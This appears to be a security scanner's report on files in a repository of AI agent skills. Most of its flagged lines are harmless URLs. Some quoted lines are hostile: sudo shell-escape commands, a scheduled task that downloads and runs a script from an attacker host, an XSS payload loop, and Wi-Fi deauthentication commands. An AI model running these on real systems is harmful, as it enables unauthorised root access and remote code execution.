    # Variant B playwright-cli -s=variant-b open "https://app.example.com?variant=b"
  • Network accessline 246
    playwright-cli -s=variant-b open "https://app.example.com?variant=b"
  • Network accessline 260
    for browser in chrome firefox webkit; do   playwright-cli -s=$browser open https://example.com --browser=$browser
  • Network accessline 261
    playwright-cli -s=$browser open https://example.com --browser=$browser
  • Network accessline 265
    playwright-cli -s=$browser goto https://example.com/features
  • Network accessline 275
    # Log in once and save state playwright-cli -s=login open https://app.example.com/login
  • Network accessline 276
    playwright-cli -s=login open https://app.example.com/login
  • Network accessline 283
    # Reuse auth state in multiple sessions playwright-cli -s=session-a open https://app.example.com
  • Network accessline 284
    playwright-cli -s=session-a open https://app.example.com
  • Network accessline 286
    playwright-cli -s=session-a goto https://app.example.com/dashboard
  • Network accessline 288
    playwright-cli -s=session-b open https://app.example.com
  • Network accessline 290
    playwright-cli -s=session-b goto https://app.example.com/settings
  • Network accessline 298
    # Good: Clear purpose playwright-cli -s=github-auth open https://github.com
  • Network accessline 299
    playwright-cli -s=github-auth open https://github.com
  • Network accessline 300
    playwright-cli -s=docs-scrape open https://docs.example.com
  • Network accessline 301
    playwright-cli -s=checkout-flow open https://shop.example.com
  • Network accessline 303
    # Avoid: Generic names playwright-cli -s=s1 open https://github.com
  • Network accessline 304
    playwright-cli -s=s1 open https://github.com
  • Network accessline 305
    playwright-cli -s=test open https://docs.example.com
  • Network accessline 334
    # Simple single-session workflow — no -s flag needed playwright-cli open https://example.com
  • Network accessline 335
    playwright-cli open https://example.com
  • Network accessline 346
    playwright-cli -s=long-task open https://app.example.com --persistent

skills/playwright/playwright-cli/storage-and-auth.md

  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 53
    # Navigate after loading — cookies and localStorage are already set playwright-cli goto https://app.example.com/dashboard
  • Network accessline 54
    playwright-cli goto https://app.example.com/dashboard
  • Network accessline 76
    "origins": [     {       "origin": "https://example.com",
  • Network accessline 77
    {       "origin": "https://example.com",       "localStorage": [
  • Network accessline 78
    "origin": "https://example.com",
  • Access to secretsline 82
    [Credential-related source omitted]
  • Network accessline 96
    playwright-cli open https://app.example.com/login
  • Network accessline 117
    # New session — skip login entirely playwright-cli open https://app.example.com
  • Network accessline 118
    playwright-cli open https://app.example.com
  • Network accessline 119
    playwright-cli state-load auth.json playwright-cli goto https://app.example.com/dashboard # Already logged in as admin!
  • Network accessline 120
    playwright-cli goto https://app.example.com/dashboard
  • Network accessline 129
    # Save state for each role playwright-cli open https://app.example.com/login
  • Network accessline 130
    playwright-cli open https://app.example.com/login
  • Network accessline 137
    playwright-cli open https://app.example.com/login
  • Network accessline 144
    # Now use them playwright-cli -s=admin open https://app.example.com
  • Network accessline 145
    playwright-cli -s=admin open https://app.example.com
  • Network accessline 147
    playwright-cli -s=admin goto https://app.example.com/admin
  • Network accessline 149
    playwright-cli -s=user open https://app.example.com
  • Network accessline 151
    playwright-cli -s=user goto https://app.example.com/profile
  • Network accessline 159
    playwright-cli run-code "async page => {   await page.goto('https://app.example.com/login');
  • Network accessline 160
    await page.goto('https://app.example.com/login');
  • Access to secretsline 300
    [Credential-related source omitted]
  • Access to secretsline 316
    [Credential-related source omitted]
  • Access to secretsline 431
    [Credential-related source omitted]
  • Network accessline 434
    # Navigate to trigger token refresh playwright-cli goto https://app.example.com/dashboard
  • Network accessline 435
    playwright-cli goto https://app.example.com/dashboard
  • Access to secretsline 438
    [Credential-related source omitted]
  • Network accessline 464
    # Set up state manually playwright-cli open https://example.com
  • Network accessline 465
    playwright-cli open https://example.com
  • Network accessline 473
    # Later — restore state in a new session playwright-cli open https://example.com
  • Network accessline 474
    playwright-cli open https://example.com
  • Dangerous shell operationline 483
    - **Delete state files after use** — `rm auth.json` when done with automation

skills/playwright/playwright-cli/test-generation.md

  • Network accessline 9
    # Every CLI action outputs the equivalent Playwright code playwright-cli open https://example.com/login
  • Network accessline 10
    playwright-cli open https://example.com/login
  • Network accessline 38
    playwright-cli open https://example.com/login
  • Network accessline 40
    # await page.goto('https://example.com/login');
  • Network accessline 69
    test("user can log in", async ({ page }) => {   await page.goto("https://example.com/login")
  • Network accessline 70
    await page.goto("https://example.com/login")
  • Network accessline 84
    test("user can log in", async ({ page }) => {   await page.goto("https://example.com/login")
  • Network accessline 85
    await page.goto("https://example.com/login")
  • Network accessline 114
    playwright-cli open https://shop.example.com
  • Network accessline 146
    playwright-cli open https://example.com/onboarding
  • Network accessline 168
    playwright-cli open https://example.com
  • Network accessline 190
    // URL changed after navigation await expect(page).toHaveURL(/.*dashboard/) await expect(page).toHaveURL("https://example.com/success")
  • Network accessline 192
    await expect(page).toHaveURL("https://example.com/success")
  • Network accessline 219
    test("complete checkout flow", async ({ page }) => {   await page.goto("https://shop.example.com/products")
  • Network accessline 220
    await page.goto("https://shop.example.com/products")
  • Network accessline 256
    playwright-cli open https://example.com

skills/playwright/playwright-cli/tracing-and-debugging.md

  • Network accessline 9
    # Trace a session playwright-cli tracing-start playwright-cli open https://example.com
  • Network accessline 10
    playwright-cli tracing-start playwright-cli open https://example.com playwright-cli click e4
  • Network accessline 11
    playwright-cli open https://example.com
  • Network accessline 35
    # Perform actions playwright-cli open https://example.com
  • Network accessline 36
    playwright-cli open https://example.com
  • Network accessline 89
    # Or use the online Trace Viewer # Upload trace file to: https://trace.playwright.dev
  • Network accessline 90
    # Upload trace file to: https://trace.playwright.dev
  • Network accessline 119
    playwright-cli open https://app.example.com
  • Network accessline 225
    # Reproduce the issue playwright-cli goto https://app.example.com/checkout
  • Network accessline 226
    playwright-cli goto https://app.example.com/checkout
  • Dangerous shell operationline 240
    playwright-cli eval "el => window.getComputedStyle(el).display" e5
  • Dangerous shell operationline 241
    playwright-cli eval "el => window.getComputedStyle(el).visibility" e5
  • Dangerous shell operationline 242
    playwright-cli eval "el => el.getBoundingClientRect()" e5
  • Dangerous shell operationline 245
    playwright-cli eval "el => {
  • Dangerous shell operationline 252
    playwright-cli eval "el => el.disabled" e5
  • Dangerous shell operationline 253
    playwright-cli eval "el => el.getAttribute('aria-disabled')" e5
  • Network accessline 385
    playwright-cli tracing-start # Reproduce the full flow from the beginning playwright-cli open https://app.example.com
  • Network accessline 386
    # Reproduce the full flow from the beginning playwright-cli open https://app.example.com playwright-cli fill e1 "user@example.com"
  • Network accessline 387
    playwright-cli open https://app.example.com
  • Dangerous shell operationline 411
    find .playwright-cli/traces -mtime +7 -delete

skills/playwright/pom/pom-vs-fixtures-vs-helpers.md

  • Network accessline 453
    export function buildApiUrl(path: string, params: Record<string, string> = {}): string {   const url = new URL(path, "http://localhost:3000")
  • Network accessline 454
    const url = new URL(path, "http://localhost:3000")
  • Network accessline 529
    function buildApiUrl(path, params = {}) {   const url = new URL(path, "http://localhost:3000")
  • Network accessline 530
    const url = new URL(path, "http://localhost:3000")

skills/privilege-escalation-methods/SKILL.md

  • Dangerous shell operationline 36
    #### 1. Abusing Sudo Binaries
  • Dangerous shell operationline 38
    Exploit misconfigured sudo permissions using GTFOBins techniques:
  • Dangerous shell operationline 41
    # Check sudo permissions
  • Dangerous shell operationline 42
    sudo -l
  • Dangerous shell operationline 45
    sudo vim -c ':!/bin/bash'
  • Dangerous shell operationline 46
    sudo find /etc/passwd -exec /bin/bash \;
  • Dangerous shell operationline 47
    sudo awk 'BEGIN {system("/bin/bash")}'
  • Dangerous shell operationline 48
    sudo python -c 'import pty;pty.spawn("/bin/bash")'
  • Dangerous shell operationline 49
    sudo perl -e 'exec "/bin/bash";'
  • Dangerous shell operationline 50
    sudo less /etc/hosts    # then type: !bash
  • Dangerous shell operationline 51
    sudo man man            # then type: !bash
  • Dangerous shell operationline 52
    sudo env /bin/bash
  • Network accessline 209
    # 3. Create scheduled task schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `   /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
  • Network accessline 210
    schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM"    /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
  • Network accessline 211
    /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
  • Network accessline 225
    # Create malicious shortcut (Book.url) [InternetShortcut] URL=https://facebook.com
  • Network accessline 226
    [InternetShortcut] URL=https://facebook.com IconIndex=0
  • Network accessline 227
    URL=https://facebook.com
  • Dangerous shell operationline 253
    | Sudo Binary Abuse | Linux | No | GTFOBins |
  • Dangerous shell operationline 289
    ### Example 1: Linux Sudo to Root
  • Dangerous shell operationline 292
    # Check sudo permissions
  • Dangerous shell operationline 293
    $ sudo -l
  • Dangerous shell operationline 298
    $ sudo vim -c ':!/bin/bash'
  • Dangerous shell operationline 319
    | sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |

skills/project-sizing-guide/scripts/estimate_calculator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/r2-upload/README.md

  • Network accessline 54
    1. Go to [Cloudflare Dashboard](https://dash.cloudflare.com) → R2
  • Network accessline 55
    2. Create a bucket 3. Go to R2 API Tokens: `https://dash.cloudflare.com/<ACCOUNT_ID>/r2/api-tokens` 4. Create a new API token
  • Network accessline 56
    3. Go to R2 API Tokens: `https://dash.cloudflare.com/<ACCOUNT_ID>/r2/api-tokens`
  • Network accessline 71
    public_url: https://files.yourdomain.com

skills/r2-upload/SKILL.md

  • Network accessline 28
    buckets:   my-bucket:     endpoint: https://abc123.r2.cloudflarestorage.com
  • Network accessline 29
    my-bucket:     endpoint: https://abc123.r2.cloudflarestorage.com     access_key_id: your_access_key
  • Network accessline 30
    endpoint: https://abc123.r2.cloudflarestorage.com
  • Network accessline 32
    secret_access_key: your_secret_key     bucket_name: my-bucket     public_url: https://files.example.com  # Optional: custom domain
  • Network accessline 33
    bucket_name: my-bucket     public_url: https://files.example.com  # Optional: custom domain     region: auto  # For R2, use "auto"
  • Network accessline 34
    public_url: https://files.example.com  # Optional: custom domain
  • Network accessline 37
    # Additional buckets   personal:     endpoint: https://xyz789.r2.cloudflarestorage.com
  • Network accessline 38
    personal:     endpoint: https://xyz789.r2.cloudflarestorage.com     access_key_id: ...
  • Network accessline 39
    endpoint: https://xyz789.r2.cloudflarestorage.com
  • Network accessline 48
    1. Go to Cloudflare Dashboard → R2 2. Create a bucket 3. Go to R2 API Tokens: `https://dash.cloudflare.com/<ACCOUNT_ID>/r2/api-tokens`
  • Network accessline 49
    2. Create a bucket 3. Go to R2 API Tokens: `https://dash.cloudflare.com/<ACCOUNT_ID>/r2/api-tokens` 4. Create a new API token
  • Network accessline 50
    3. Go to R2 API Tokens: `https://dash.cloudflare.com/<ACCOUNT_ID>/r2/api-tokens`
  • Network accessline 61
    aws-bucket:   endpoint: https://s3.us-east-1.amazonaws.com
  • Network accessline 62
    endpoint: https://s3.us-east-1.amazonaws.com

skills/r2-upload/example-config.yml

  • Network accessline 9
    # Cloudflare R2 example   my-files:     endpoint: https://YOUR_ACCOUNT_ID.r2.cloudflarestorage.com
  • Network accessline 10
    my-files:     endpoint: https://YOUR_ACCOUNT_ID.r2.cloudflarestorage.com     access_key_id: YOUR_R2_ACCESS_KEY_ID
  • Network accessline 11
    endpoint: https://YOUR_ACCOUNT_ID.r2.cloudflarestorage.com
  • Network accessline 14
    bucket_name: my-files     region: auto     public_url: https://files.yourdomain.com  # Optional: custom domain
  • Network accessline 16
    public_url: https://files.yourdomain.com  # Optional: custom domain
  • Network accessline 18
    # Another R2 bucket   personal:     endpoint: https://YOUR_ACCOUNT_ID.r2.cloudflarestorage.com
  • Network accessline 19
    personal:     endpoint: https://YOUR_ACCOUNT_ID.r2.cloudflarestorage.com     access_key_id: YOUR_R2_ACCESS_KEY_ID
  • Network accessline 20
    endpoint: https://YOUR_ACCOUNT_ID.r2.cloudflarestorage.com
  • Network accessline 26
    # AWS S3 example   aws-backup:     endpoint: https://s3.us-east-1.amazonaws.com
  • Network accessline 27
    aws-backup:     endpoint: https://s3.us-east-1.amazonaws.com     access_key_id: YOUR_AWS_ACCESS_KEY_ID
  • Network accessline 28
    endpoint: https://s3.us-east-1.amazonaws.com
  • Network accessline 34
    # MinIO / Self-hosted S3 example   minio:     endpoint: https://minio.example.com
  • Network accessline 35
    minio:     endpoint: https://minio.example.com     access_key_id: minioadmin
  • Network accessline 36
    endpoint: https://minio.example.com

skills/r2-upload/package.json

  • Executable scriptline 1
    Executable file
  • Network accessline 16
    "repository": {     "type": "git",     "url": "https://github.com/clawdbot/clawdhub-skills"
  • Network accessline 17
    "type": "git",     "url": "https://github.com/clawdbot/clawdhub-skills"   },
  • Network accessline 18
    "url": "https://github.com/clawdbot/clawdhub-skills"
  • Network accessline 19
    },   "homepage": "https://clawdhub.com/skills/r2-upload",   "dependencies": {
  • Network accessline 20
    "homepage": "https://clawdhub.com/skills/r2-upload",

skills/r2-upload/src/index.ts

  • Executable scriptline 1
    #!/usr/bin/env node

skills/r2-upload/src/onboard.ts

  • Executable scriptline 1
    #!/usr/bin/env tsx
  • Network accessline 79
    console.log('');     console.log(`${colors.yellow}Get these from:${colors.reset}`);     console.log('  1. Create bucket: https://dash.cloudflare.com → R2');
  • Network accessline 80
    console.log(`${colors.yellow}Get these from:${colors.reset}`);     console.log('  1. Create bucket: https://dash.cloudflare.com → R2');     console.log('  2. Get Account ID from URL: https://dash.cloudflare.com/<ACCOUNT_ID>/r2');
  • Network accessline 81
    console.log('  1. Create bucket: https://dash.cloudflare.com → R2');
  • Network accessline 82
    console.log('  2. Get Account ID from URL: https://dash.cloudflare.com/<ACCOUNT_ID>/r2');
  • Network accessline 83
    [Credential-related source omitted]
  • Network accessline 93
    config.default = bucketName;     config.buckets[bucketName] = {       endpoint: `https://${accountId}.r2.cloudflarestorage.com`,
  • Network accessline 94
    config.buckets[bucketName] = {       endpoint: `https://${accountId}.r2.cloudflarestorage.com`,       access_key_id: accessKeyId,
  • Network accessline 95
    endpoint: `https://${accountId}.r2.cloudflarestorage.com`,
  • Network accessline 116
    config.default = bucketName;     config.buckets[bucketName] = {       endpoint: `https://s3.${region}.amazonaws.com`,
  • Network accessline 117
    config.buckets[bucketName] = {       endpoint: `https://s3.${region}.amazonaws.com`,       access_key_id: accessKeyId,
  • Network accessline 118
    endpoint: `https://s3.${region}.amazonaws.com`,
  • Network accessline 130
    const endpoint = await prompt('Endpoint URL (e.g., https://minio.example.com): ');

skills/r3f-best-practices/SKILL.md

  • Network accessline 16
    > Additional tips from [100 Three.js Tips](https://www.utsubo.com/blog/threejs-best-practices-100-tips) by [Utsubo](https://www.utsubo.com)

skills/r3f-best-practices/rules/drei-use-gltf.md

  • Network accessline 158
    - [Drei useGLTF](https://github.com/pmndrs/drei#usegltf)
  • Network accessline 159
    - [gltfjsx](https://github.com/pmndrs/gltfjsx) - Generate JSX from GLTF

skills/r3f-best-practices/rules/frame-delta-time.md

  • Network accessline 124
    - [R3F useFrame](https://docs.pmnd.rs/react-three-fiber/api/hooks#useframe)

skills/r3f-best-practices/rules/loading-suspense.md

  • Network accessline 186
    - [React Suspense](https://react.dev/reference/react/Suspense)
  • Network accessline 187
    - [Drei useProgress](https://github.com/pmndrs/drei#useprogress)

skills/r3f-best-practices/rules/perf-never-set-state-in-useframe.md

  • Network accessline 130
    - [R3F Performance Pitfalls](https://docs.pmnd.rs/react-three-fiber/advanced/pitfalls)

skills/r3f-best-practices/rules/perf-r3f-perf.md

  • Network accessline 3
    > Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)

skills/r3f-best-practices/rules/perf-visibility-toggle.md

  • Network accessline 3
    > Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)

skills/r3f-best-practices/rules/perf-zustand-selectors.md

  • Network accessline 123
    - [Zustand Documentation](https://github.com/pmndrs/zustand)
  • Network accessline 124
    - [R3F State Management](https://docs.pmnd.rs/react-three-fiber/tutorials/using-with-zustand)

skills/react-best-practices/AGENTS.md

  • Network accessline 215
    Reference: [https://github.com/shuding/better-all](https://github.com/shuding/better-all)
  • Network accessline 427
    Reference: [https://vercel.com/blog/how-we-optimized-package-imports-in-next-js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js)
  • Network accessline 672
    Reference: [https://nextjs.org/docs/app/guides/authentication](https://nextjs.org/docs/app/guides/authentication)
  • Network accessline 766
    **With Vercel's [Fluid Compute](https://vercel.com/docs/fluid-compute):** LRU caching is especially effective because multiple concurrent requests can share the same function instance and cache. This means the cache persists across requests
  • Network accessline 770
    Reference: [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache)
  • Network accessline 949
    Reference: [https://react.dev/reference/react/cache](https://react.dev/reference/react/cache)
  • Network accessline 1023
    Reference: [https://nextjs.org/docs/app/api-reference/functions/after](https://nextjs.org/docs/app/api-reference/functions/after)
  • Network accessline 1161
    const [users, setUsers] = useState([])   useEffect(() => {     fetch("/api/users")
  • Network accessline 1162
    useEffect(() => {     fetch("/api/users")       .then((r) => r.json())
  • Network accessline 1163
    fetch("/api/users")
  • Network accessline 1201
    Reference: [https://swr.vercel.app](https://swr.vercel.app)
  • Network accessline 1315
    Reference: [https://react.dev/learn/you-might-not-need-an-effect](https://react.dev/learn/you-might-not-need-an-effect)
  • Network accessline 1454
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, manual memoization with `memo()` and `useMemo()` is not necessary. The compiler automatically optimizes re-renders.
  • Network accessline 1536
    Reference: [https://react.dev/learn/removing-effect-dependencies#should-this-code-move-to-an-event-handler](https://react.dev/learn/removing-effect-dependencies#should-this-code-move-to-an-event-handler)
  • Network accessline 1642
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler can automatically optimize some cases, but functional updates are still recommended for correctness and to prevent stale closure bu
  • Network accessline 1907
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler automatically hoists static JSX elements and optimizes component re-renders, making manual hoisting unnecessary.
  • Network accessline 2145
    Reference: [https://react.dev/reference/react/useTransition](https://react.dev/reference/react/useTransition)
  • Network accessline 2237
    See [this gist](https://gist.github.com/paulirish/5d52fb081b3570c81e3a) and [CSS Triggers](https://csstriggers.com/) for more information on layout-forcing operations.
  • Network accessline 2371
    Reference: [https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast)
  • Network accessline 2677
    This works for small arrays, but can be slower or just throw an error for very large arrays due to spread operator limitations. Maximal array length is approximately 124000 in Chrome 143 and 638000 in Safari 18; exact numbers may vary - see
  • Network accessline 2800
    Reference: [https://react.dev/learn/you-might-not-need-an-effect#initializing-the-application](https://react.dev/learn/you-might-not-need-an-effect#initializing-the-application)
  • Network accessline 2877
    1. [https://react.dev](https://react.dev)
  • Network accessline 2878
    2. [https://nextjs.org](https://nextjs.org)
  • Network accessline 2879
    3. [https://swr.vercel.app](https://swr.vercel.app)
  • Network accessline 2880
    4. [https://github.com/shuding/better-all](https://github.com/shuding/better-all)
  • Network accessline 2881
    5. [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache)
  • Network accessline 2882
    6. [https://vercel.com/blog/how-we-optimized-package-imports-in-next-js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js)
  • Network accessline 2883
    7. [https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast)

skills/react-best-practices/README.md

  • Network accessline 88
    Reference: [Link](https://example.com)
  • Network accessline 127
    Originally created by [@shuding](https://x.com/shuding) at [Vercel](https://vercel.com).

skills/react-best-practices/metadata.json

  • Network accessline 5
    "abstract": "Comprehensive performance optimization guide for React and Next.js applications, designed for AI agents and LLMs. Contains 40+ rules across 8 categories, prioritized by impact from critical (eliminating waterfalls, reducing bun
  • Network accessline 6
    "references": [     "https://react.dev",     "https://nextjs.org",
  • Network accessline 7
    "https://react.dev",
  • Network accessline 8
    "https://nextjs.org",
  • Network accessline 9
    "https://swr.vercel.app",
  • Network accessline 10
    "https://github.com/shuding/better-all",
  • Network accessline 11
    "https://github.com/isaacs/node-lru-cache",
  • Network accessline 12
    "https://vercel.com/blog/how-we-optimized-package-imports-in-next-js",
  • Network accessline 13
    "https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast"

skills/react-best-practices/rules/_template.md

  • Network accessline 28
    Reference: [Link to documentation or resource](https://example.com)

skills/react-best-practices/rules/advanced-init-once.md

  • Network accessline 42
    Reference: [Initializing the application](https://react.dev/learn/you-might-not-need-an-effect#initializing-the-application)

skills/react-best-practices/rules/async-dependencies.md

  • Network accessline 48
    Reference: [https://github.com/shuding/better-all](https://github.com/shuding/better-all)

skills/react-best-practices/rules/bundle-barrel-imports.md

  • Network accessline 59
    Reference: [How we optimized package imports in Next.js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js)

skills/react-best-practices/rules/client-swr-dedup.md

  • Network accessline 16
    const [users, setUsers] = useState([])   useEffect(() => {     fetch("/api/users")
  • Network accessline 17
    useEffect(() => {     fetch("/api/users")       .then((r) => r.json())
  • Network accessline 18
    fetch("/api/users")
  • Network accessline 56
    Reference: [https://swr.vercel.app](https://swr.vercel.app)

skills/react-best-practices/rules/js-batch-dom-css.md

  • Network accessline 110
    See [this gist](https://gist.github.com/paulirish/5d52fb081b3570c81e3a) and [CSS Triggers](https://csstriggers.com/) for more information on layout-forcing operations.

skills/react-best-practices/rules/js-cache-function-results.md

  • Network accessline 80
    Reference: [How we made the Vercel Dashboard twice as fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast)

skills/react-best-practices/rules/js-min-max-loop.md

  • Network accessline 82
    This works for small arrays, but can be slower or just throw an error for very large arrays due to spread operator limitations. Maximal array length is approximately 124000 in Chrome 143 and 638000 in Safari 18; exact numbers may vary - see

skills/react-best-practices/rules/rendering-hoist-jsx.md

  • Network accessline 36
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler automatically hoists static JSX elements and optimizes component re-renders, making manual hoisting unnecessary.

skills/react-best-practices/rules/rendering-usetransition-loading.md

  • Network accessline 75
    Reference: [useTransition](https://react.dev/reference/react/useTransition)

skills/react-best-practices/rules/rerender-derived-state-no-effect.md

  • Network accessline 40
    References: [You Might Not Need an Effect](https://react.dev/learn/you-might-not-need-an-effect)

skills/react-best-practices/rules/rerender-functional-setstate.md

  • Network accessline 77
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler can automatically optimize some cases, but functional updates are still recommended for correctness and to prevent stale closure bu

skills/react-best-practices/rules/rerender-memo.md

  • Network accessline 44
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, manual memoization with `memo()` and `useMemo()` is not necessary. The compiler automatically optimizes re-renders.

skills/react-best-practices/rules/rerender-move-effect-to-event.md

  • Network accessline 45
    Reference: [Should this code move to an event handler?](https://react.dev/learn/removing-effect-dependencies#should-this-code-move-to-an-event-handler)

skills/react-best-practices/rules/server-after-nonblocking.md

  • Network accessline 73
    Reference: [https://nextjs.org/docs/app/api-reference/functions/after](https://nextjs.org/docs/app/api-reference/functions/after)

skills/react-best-practices/rules/server-auth-actions.md

  • Network accessline 96
    Reference: [https://nextjs.org/docs/app/guides/authentication](https://nextjs.org/docs/app/guides/authentication)

skills/react-best-practices/rules/server-cache-lru.md

  • Network accessline 37
    **With Vercel's [Fluid Compute](https://vercel.com/docs/fluid-compute):** LRU caching is especially effective because multiple concurrent requests can share the same function instance and cache. This means the cache persists across requests
  • Network accessline 41
    Reference: [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache)

skills/react-best-practices/rules/server-cache-react.md

  • Network accessline 76
    Reference: [React.cache documentation](https://react.dev/reference/react/cache)

skills/red-team-tools/SKILL.md

  • Network accessline 48
    # Alternative ASN lookup curl -s "https://bgp.he.net/search?search=targetcompany&commit=Search"
  • Network accessline 49
    curl -s "https://bgp.he.net/search?search=targetcompany&commit=Search"
  • Network accessline 117
    # Directory bruteforce with ffuf ffuf -ac -v -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
  • Network accessline 118
    ffuf -ac -v -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
  • Network accessline 164
    # Alternative workflow waybackurls target.com | grep "=" | qsreplace '"><script>alert(1)</script>' | while read url; do     curl -s "$url" | grep -q 'alert(1)' && echo "$url"
  • Network accessline 165
    waybackurls target.com | grep "=" | qsreplace '"><script>alert(1)</script>' | while read url; do     curl -s "$url" | grep -q 'alert(1)' && echo "$url" done > potential_xss.txt
  • Network accessline 166
    curl -s "$url" | grep -q 'alert(1)' && echo "$url"
  • Network accessline 188
    # Enumerate API endpoints ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
  • Network accessline 189
    ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
  • Network accessline 191
    # Test API versions ffuf -u https://target.com/api/v1/FUZZ -w api_wordlist.txt
  • Network accessline 192
    ffuf -u https://target.com/api/v1/FUZZ -w api_wordlist.txt
  • Network accessline 193
    ffuf -u https://target.com/api/v2/FUZZ -w api_wordlist.txt
  • Network accessline 195
    # Check for hidden methods for method in GET POST PUT DELETE PATCH; do     curl -X $method https://target.com/api/users -v
  • Network accessline 196
    for method in GET POST PUT DELETE PATCH; do     curl -X $method https://target.com/api/users -v done
  • Network accessline 197
    curl -X $method https://target.com/api/users -v

skills/regression-modeler/scripts/regression_analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/repo-audit/scripts/hotfiles.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

skills/repo-audit/scripts/ownership.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

skills/repo-audit/scripts/secret-scan.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 159
    [Credential-related source omitted]

skills/route-to-openapi/SKILL.md

  • Network accessline 9
    Automatically scan route/endpoint definitions in source code and generate RESTful API documentation conforming to the [OpenAPI 3.0.3](https://spec.openapis.org/oas/v3.0.3) specification.
  • Network accessline 25
    # Add server URLs python scripts/generate_api_doc.py ./routes --server http://localhost:3000 --server https://api.example.com
  • Network accessline 26
    python scripts/generate_api_doc.py ./routes --server http://localhost:3000 --server https://api.example.com

skills/route-to-openapi/scripts/generate_api_doc.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 36
    [Credential-related source omitted]
  • Network accessline 703
    %(prog)s ./src --format yaml --output api-spec.yaml   %(prog)s ./app --framework flask --title "My API" --version 2.0.0   %(prog)s ./routes --server http://localhost:3000
  • Network accessline 704
    %(prog)s ./app --framework flask --title "My API" --version 2.0.0   %(prog)s ./routes --server http://localhost:3000         """,
  • Network accessline 705
    %(prog)s ./routes --server http://localhost:3000

skills/scanning-tools/SKILL.md

  • Dangerous shell operationline 115
    sudo systemctl start nessusd
  • Network accessline 117
    # Access web interface # https://localhost:8834
  • Network accessline 118
    # https://localhost:8834
  • Dangerous shell operationline 140
    sudo apt install openvas
  • Dangerous shell operationline 141
    sudo gvm-setup
  • Dangerous shell operationline 144
    sudo gvm-start
  • Network accessline 146
    # Access web interface (Greenbone Security Assistant) # https://localhost:9392
  • Network accessline 147
    # https://localhost:9392
  • Network accessline 199
    # Automated scan from CLI zap-cli quick-scan https://target.com
  • Network accessline 200
    zap-cli quick-scan https://target.com
  • Network accessline 202
    # Full scan zap-cli spider https://target.com
  • Network accessline 203
    zap-cli spider https://target.com
  • Network accessline 204
    zap-cli active-scan https://target.com
  • Network accessline 215
    # Docker-based scanning docker run -t owasp/zap2docker-stable zap-full-scan.py \   -t https://target.com -r report.html
  • Network accessline 216
    docker run -t owasp/zap2docker-stable zap-full-scan.py    -t https://target.com -r report.html
  • Network accessline 217
    -t https://target.com -r report.html
  • Network accessline 219
    # Baseline scan (passive only) docker run -t owasp/zap2docker-stable zap-baseline.py \   -t https://target.com -r report.html
  • Network accessline 220
    docker run -t owasp/zap2docker-stable zap-baseline.py    -t https://target.com -r report.html
  • Network accessline 221
    -t https://target.com -r report.html
  • Network accessline 229
    # Basic scan nikto -h https://target.com
  • Network accessline 230
    nikto -h https://target.com
  • Dangerous shell operationline 262
    sudo airmon-ng start wlan0
  • Dangerous shell operationline 265
    sudo airodump-ng wlan0mon
  • Dangerous shell operationline 268
    sudo airodump-ng -c <channel> --bssid <target_bssid> -w capture wlan0mon
  • Dangerous shell operationline 271
    sudo aireplay-ng -0 10 -a <bssid> wlan0mon
  • Network accessline 291
    # Access web interface # http://localhost:2501
  • Network accessline 292
    # http://localhost:2501
  • Dangerous shell operationline 307
    sudo freshclam
  • Dangerous shell operationline 411
    sudo lynis audit system
  • Dangerous shell operationline 414
    sudo lynis audit system --quick
  • Dangerous shell operationline 417
    sudo lynis audit system --profile server
  • Dangerous shell operationline 420
    sudo lynis audit system --report-file /tmp/lynis-report.dat
  • Dangerous shell operationline 423
    sudo lynis show profiles
  • Dangerous shell operationline 424
    sudo lynis audit system --tests-from-group malware

skills/secure-code-review/SKILL.md

  • Access to secretsline 120
    [Credential-related source omitted]
  • Access to secretsline 275
    [Credential-related source omitted]
  • Access to secretsline 276
    [Credential-related source omitted]
  • Access to secretsline 355
    [Credential-related source omitted]
  • Network accessline 482
    def fetch_url():     url = request.args.get("url")     response = requests.get(url)
  • Network accessline 483
    url = request.args.get("url")     response = requests.get(url)     return response.text
  • Network accessline 484
    response = requests.get(url)
